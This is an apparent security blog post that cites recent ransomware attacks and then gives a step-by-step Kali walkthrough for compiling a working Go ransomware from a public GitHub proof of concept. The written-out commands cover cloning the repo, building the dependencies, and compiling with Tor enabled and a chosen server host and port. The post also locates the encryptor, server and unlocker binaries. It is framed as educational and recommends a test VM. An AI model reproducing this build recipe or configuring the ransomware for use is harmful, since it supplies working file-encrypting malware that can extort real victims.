CyberMorans🤗
Today you will taste the dark side😈
The Colonial Pipeline in the US was shutdown for nearly a week before paying a $5 million ransom 😤 demonstrating the danger of this ransomware to industrial systems and a state infrastructure😟 The major US insurance company, CNA, admitted to having paid a ransom of $40 million!
And closer to home 😝, recent attacks ☠️ on Kenya Aviation Authority (KAA) by Medusa ransomware gang and Jubilee insurance is believed to have paid 🤑 Lockbit, the most prolific Ransomware Gang ☠, an unknown amount of ransom after appearing as a victim on their dark web data leaks onion site in March 2023😟
To understand how ransomware works we will build our own ransomware from a Proof of Concept (POC) available from mauri870 on github.com. He developed this ransomware as part of his academic program and it is not designed for malicious purposes☺️ but rather to help us understand how ransomware works. Like the new variant, Snake ransomware 😰, and a growing number of malware strains, this ransomware is written in Golang 🧐
The ransomware will encrypt with AES-256-CTR and use RSA-4096 to secure the data exchange with the server 😰 This ransomware will be very similar to Cryptolocker, one of the most successful ransomware attacks in history 😣
This POC of ransomware will help you to better understand ransomware as a threat and test to see whether your systems are vulnerable to such an attack
☠️ ☠️ THIS IS FOR EDUCATIONAL PURPOSES ONLY -- AND REVERSE ENGINEERING ☠️ ☠️ -- Be cool 😜
Morans, Lets do this 💪
🚀 Download and Install the Binaries
The first step is to fire up your Linux and install golang 👇
kali > sudo apt install golangNext, you will need to login to the root user 👇
kali > sudo su -
Create a directory for the binaries. In this case, I named it simply "Azimio" 👇
kali > mkdir AzimioNext, change directory to this directory 👇
kali > cd AzimioNext, download the binaries from github.com 👇
kali > git clone https://github.com/mauri870/ransomware
Next, we need to set some environment variables to direct the binaries and GO to the appropriate directories 👇
🚀 Make the source code dependencies
With the variables set and exported, we need to make the dependencies. Navigate to the new directory, ransomware, and enter make deps 👇
kali > cd ransomware
kali > make deps
🚀 Make the Source Code with options
Now we begin to make the source code. In this case, we will use a few options☺️
👉 First, we want to use ToR to encrypt our communications over the ToR network 👇
USE_TOR=true👉 Second, we want to use our local IP at 10.0.0.5 (you can use any domain even on a cloud service) 👇
SERVER_HOST=10.0.0.5👉 Third, we want to use port 8080 (you can use any port) 👇
SERVER_PORT=8080👉 Finally, we want to set the operating system to compile the source code for our operating system, in this case, Linux 👇
GOOS=linux
The command looks something like this 👇
kali > make -e USE_TOR=true SERVER_HOST=10.0.0.5 SERVER_PORT=8080 GOOS=linuxhit ENTER and let your ransomware compile -- Dance kidogo😆
🚀 Check the Directory for ransomware.exe
Once the source code has been generated, do a long listing on the ransomware directory 👇
kali > ls -l
navigate to the bin directory. Here, you will see the ransomware.exe, the server and unlocker.exe 👇
kali > cd bin
🚀 Examine the Types of Files to be Encrypted
To see what types of files this ransomware will encrypt, navigate to cmd directory and open common.go 👇
kali > cd cmd
kali > more common.go
You can see the file extensions that the ransomware will target to encrypt when executed😊 Now you can load up your test VMs, debuggers, and reverse engineering tools like ghidra and IDApro to reverse engineer this ransomware. Give it a cool name as well...I named this Kenyatta Ransomware 😄
Remember to take a snapshot of your test VM before deploying the ransomware. DO NOT deploy this ransomware on your main machine!! 😁
🚀Conclusion 🤖
Subscribe to receive notifications of similar posts 😜 where we will be reverse engineering malware, vulnerabilities as well as hacking vectors, stories, tutorials and other Infosec stuff...😋
Follow me on twitter for daily Infosec Memes and shenanigans😝
Morans,
Thank you for taking time and hope you learned something new, Like and leave a comment/review and as always, stay awesome! 😋👊 💪
Comments